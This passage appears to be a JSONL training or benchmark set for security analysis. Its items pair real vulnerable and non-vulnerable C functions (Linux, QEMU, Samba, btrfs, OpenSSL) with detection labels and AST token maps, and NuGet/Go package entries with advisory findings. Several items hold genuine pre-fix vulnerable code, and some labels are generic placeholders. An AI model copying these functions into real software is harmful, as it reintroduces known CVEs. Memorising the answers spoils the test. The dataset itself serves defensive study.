\"hstart\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"hend\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"anon_vma\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"/*\\n\\t\\t * Not yet faulted in so we will register later in the\\n \\t\\t * page fault if needed.\\n \\t\\t */\",\n \"ast_node\": \"comment\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"vm_file\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 10,\n \"col\": 18\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 21\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 24\n },\n {\n \"token\": \"vm_ops\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 32\n },\n {\n \"token\": \"/* khugepaged not yet working on file or special mappings */\",\n \"ast_node\": \"comment\",\n \"line\": 11,\n \"col\": 3\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 12,\n \"col\": 3\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \"VM_BUG_ON\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 10\n },\n {\n \"token\": \"is_linear_pfn_mapping\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 32\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 36\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 13,\n \"col\": 38\n },\n {\n \"token\": \"is_pfn_mapping\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 41\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 55\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 59\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 60\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 61\n },\n {\n \"token\": \"hstart\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 11\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 12\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 15\n },\n {\n \"token\": \"vm_start\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 17\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 14,\n \"col\": 26\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-405", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Nerdbank.MessagePack\nInstalled version: <1.1.78\nSummary: Nerdbank.MessagePack has a memory amplification DoS in collection deserialization", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-qjvr-435c-5fjh\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": \"CWE-405\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Nerdbank.MessagePack\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.1.78\",\n \"fixed_version\": \"1.1.78\",\n \"finding\": \"Nerdbank.MessagePack has a memory amplification DoS in collection deserialization\",\n \"remediation\": \"Upgrade Nerdbank.MessagePack to 1.1.78 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-532", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/vault\nInstalled version: 1.15.0\nSummary: Hashicorp Vault may expose sensitive log information", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-vgh3-mwxq-rcp8\",\n \"cve\": \"CVE-2024-0831\",\n \"aliases\": [\n \"BIT-vault-2024-0831\",\n \"CVE-2024-0831\",\n \"GO-2024-2511\"\n ],\n \"cwe\": \"CWE-532\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/vault\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=1.15.0, <1.15.5\",\n \"fixed_version\": \"1.15.5\",\n \"finding\": \"Hashicorp Vault may expose sensitive log information\",\n \"remediation\": \"Upgrade github.com/hashicorp/vault to 1.15.5 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static __inline__ int isdn_net_device_started(isdn_net_dev *n)\n{\n\tisdn_net_local *lp = n->local;\n\tstruct net_device *dev;\n\t\n\tif (lp->master) \n\t\tdev = lp->master;\n\telse\n\t\tdev = n->dev;\n\treturn netif_running(dev);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-310", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static const SSL_METHOD *ssl23_get_client_method(int ver)\n\t{\n#ifndef OPENSSL_NO_SSL2\n if (ver == SSL2_VERSION)\n return(SSLv2_client_method());\n #endif\n if (ver == SSL3_VERSION)\n return(SSLv3_client_method());\n else if (ver == TLS1_VERSION)\n return(TLSv1_client_method());\n else if (ver == TLS1_1_VERSION)\n return(TLSv1_1_client_method());\n\telse\n\t\treturn(NULL);\n\t}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-310\",\n \"cwe_name\": \"see MITRE CWE\",\n \"cve\": \"CVE-2014-3568\",\n \"fixed_code\": \"static const SSL_METHOD *ssl23_get_client_method(int ver)\\n\\t{\\n#ifndef OPENSSL_NO_SSL2\\n if (ver == SSL2_VERSION)\\n return(SSLv2_client_method());\\n #endif\\n#ifndef OPENSSL_NO_SSL3\\n if (ver == SSL3_VERSION)\\n return(SSLv3_client_method());\\n#endif\\n if (ver == TLS1_VERSION)\\n return(TLSv1_client_method());\\n else if (ver == TLS1_1_VERSION)\\n return(TLSv1_1_client_method());\\n\\telse\\n\\t\\treturn(NULL);\\n\\t}\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/graph-gophers/graphql-go\nInstalled version: <1.3.0\nSummary: Panic via malicious inputs in github.com/graph-gophers/graphql-go", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2022-0300\",\n \"cve\": \"CVE-2022-21708\",\n \"aliases\": [\n \"CVE-2022-21708\",\n \"GHSA-mh3m-8c74-74xh\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/graph-gophers/graphql-go\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.3.0\",\n \"fixed_version\": \"1.3.0\",\n \"finding\": \"Panic via malicious inputs in github.com/graph-gophers/graphql-go\",\n \"remediation\": \"Upgrade github.com/graph-gophers/graphql-go to 1.3.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int cirrus_hook_read_palette(CirrusVGAState * s, int *reg_value)\n{\n if (!(s->sr[0x12] & CIRRUS_CURSOR_HIDDENPEL))\n\treturn CIRRUS_HOOK_NOT_HANDLED;\n *reg_value =\n s->cirrus_hidden_palette[(s->dac_read_index & 0x0f) * 3 +\n s->dac_sub_index];\n if (++s->dac_sub_index == 3) {\n\ts->dac_sub_index = 0;\n\ts->dac_read_index++;\n }\n return CIRRUS_HOOK_HANDLED;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " bool asn1_write_OctetString(struct asn1_data *data, const void *p, size_t length)\n {\n asn1_push_tag(data, ASN1_OCTET_STRING);\n asn1_write(data, p, length);\n asn1_pop_tag(data);\n return !data->has_error;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-7540\",\n \"project\": \"samba\",\n \"vulnerable_lines\": [\n 3,\n 4,\n 5,\n 6\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"bool\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"asn1_write_OctetString\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"asn1_data\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 66\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 81\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"asn1_push_tag\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"ASN1_OCTET_STRING\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 45\n },\n {\n \"token\": \"asn1_write\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \"asn1_pop_tag\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 6,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"has_error\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 30\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 7,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/mattermost/mattermost-server\nInstalled version: 10.8.0\nSummary: Mattermost Fails to Sanitize File Names", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-pj6f-rc94-gw53\",\n \"cve\": \"CVE-2025-6465\",\n \"aliases\": [\n \"CVE-2025-6465\",\n \"GO-2025-3910\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/mattermost/mattermost-server\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=10.8.0, <10.8.4\",\n \"fixed_version\": \"10.8.4\",\n \"finding\": \"Mattermost Fails to Sanitize File Names\",\n \"remediation\": \"Upgrade github.com/mattermost/mattermost-server to 10.8.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int do_setxattr(struct btrfs_trans_handle *trans,\n \t\t struct inode *inode, const char *name,\n \t\t const void *value, size_t size, int flags)\n {\n\tstruct btrfs_dir_item *di;\n \tstruct btrfs_root *root = BTRFS_I(inode)->root;\n \tstruct btrfs_path *path;\n \tsize_t name_len = strlen(name);\n\tint ret = 0;\n\n\tif (name_len + size > BTRFS_MAX_XATTR_SIZE(root))\n\t\treturn -ENOSPC;\n\n \tpath = btrfs_alloc_path();\n \tif (!path)\n \t\treturn -ENOMEM;\n \n \tif (flags & XATTR_REPLACE) {\n\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name,\n\t\t\t\t\tname_len, -1);\n\t\tif (IS_ERR(di)) {\n\t\t\tret = PTR_ERR(di);\n\t\t\tgoto out;\n\t\t} else if (!di) {\n \t\t\tret = -ENODATA;\n \t\t\tgoto out;\n \t\t}\n\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n\t\tif (ret)\n\t\t\tgoto out;\n \t\tbtrfs_release_path(path);\n \n \t\t/*\n\t\t * remove the attribute\n \t\t */\n\t\tif (!value)\n\t\t\tgoto out;\n\t} else {\n\t\tdi = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode),\n\t\t\t\t\tname, name_len, 0);\n\t\tif (IS_ERR(di)) {\n\t\t\tret = PTR_ERR(di);\n \t\t\tgoto out;\n \t\t}\n\t\tif (!di && !value)\n\t\t\tgoto out;\n\t\tbtrfs_release_path(path);\n \t}\n \nagain:\n\tret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode),\n\t\t\t\t name, name_len, value, size);\n\t/*\n\t * If we're setting an xattr to a new value but the new value is say\n\t * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting\n\t * back from split_leaf. This is because it thinks we'll be extending\n\t * the existing item size, but we're asking for enough space to add the\n\t * item itself. So if we get EOVERFLOW just set ret to EEXIST and let\n\t * the rest of the function figure it out.\n\t */\n\tif (ret == -EOVERFLOW)\n \t\tret = -EEXIST;\n \n\tif (ret == -EEXIST) {\n\t\tif (flags & XATTR_CREATE)\n\t\t\tgoto out;\n \t\t/*\n\t\t * We can't use the path we already have since we won't have the\n\t\t * proper locking for a delete, so release the path and\n\t\t * re-lookup to delete the thing.\n \t\t */\n\t\tbtrfs_release_path(path);\n\t\tdi = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode),\n\t\t\t\t\tname, name_len, -1);\n\t\tif (IS_ERR(di)) {\n\t\t\tret = PTR_ERR(di);\n\t\t\tgoto out;\n\t\t} else if (!di) {\n\t\t\t/* Shouldn't happen but just in case... */\n\t\t\tbtrfs_release_path(path);\n\t\t\tgoto again;\n \t\t}\n \n\t\tret = btrfs_delete_one_dir_name(trans, root, path, di);\n\t\tif (ret)\n\t\t\tgoto out;\n \n \t\t/*\n\t\t * We have a value to set, so go back and try to insert it now.\n \t\t */\n\t\tif (value) {\n\t\t\tbtrfs_release_path(path);\n\t\t\tgoto again;\n\t\t}\n \t}\n out:\n \tbtrfs_free_path(path);\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-9710\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 5,\n 19,\n 20,\n 21,\n 22,\n 23,\n 24,\n 28,\n 29,\n 30,\n 34,\n 36,\n 37,\n 38,\n 39,\n 40,\n 41,\n 42,\n 45,\n 46\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"do_setxattr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"btrfs_trans_handle\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"trans\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 23\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 29\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 42\n },\n {\n \"token\": \"name\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 47\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 40\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"flags\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 46\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 51\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"btrfs_dir_item\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"di\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"btrfs_root\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"root\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \"BTRFS_I\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 35\n },\n {\n \"token\": \"inode\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 41\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 42\n },\n {\n \"token\": \"root\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 44\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 48\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"btrfs_path\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"name_len\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \"strlen\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 26\n },\n {\n \"token\": \"name\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 31\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-284", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void bta_hh_co_open(UINT8 dev_handle, UINT8 sub_class, tBTA_HH_ATTR_MASK attr_mask,\n UINT8 app_id)\n{\n UINT32 i;\n btif_hh_device_t *p_dev = NULL;\n\n if (dev_handle == BTA_HH_INVALID_HANDLE) {\n APPL_TRACE_WARNING(\"%s: Oops, dev_handle (%d) is invalid...\",\n __FUNCTION__, dev_handle);\n return;\n }\n\n for (i = 0; i < BTIF_HH_MAX_HID; i++) {\n p_dev = &btif_hh_cb.devices[i];\n if (p_dev->dev_status != 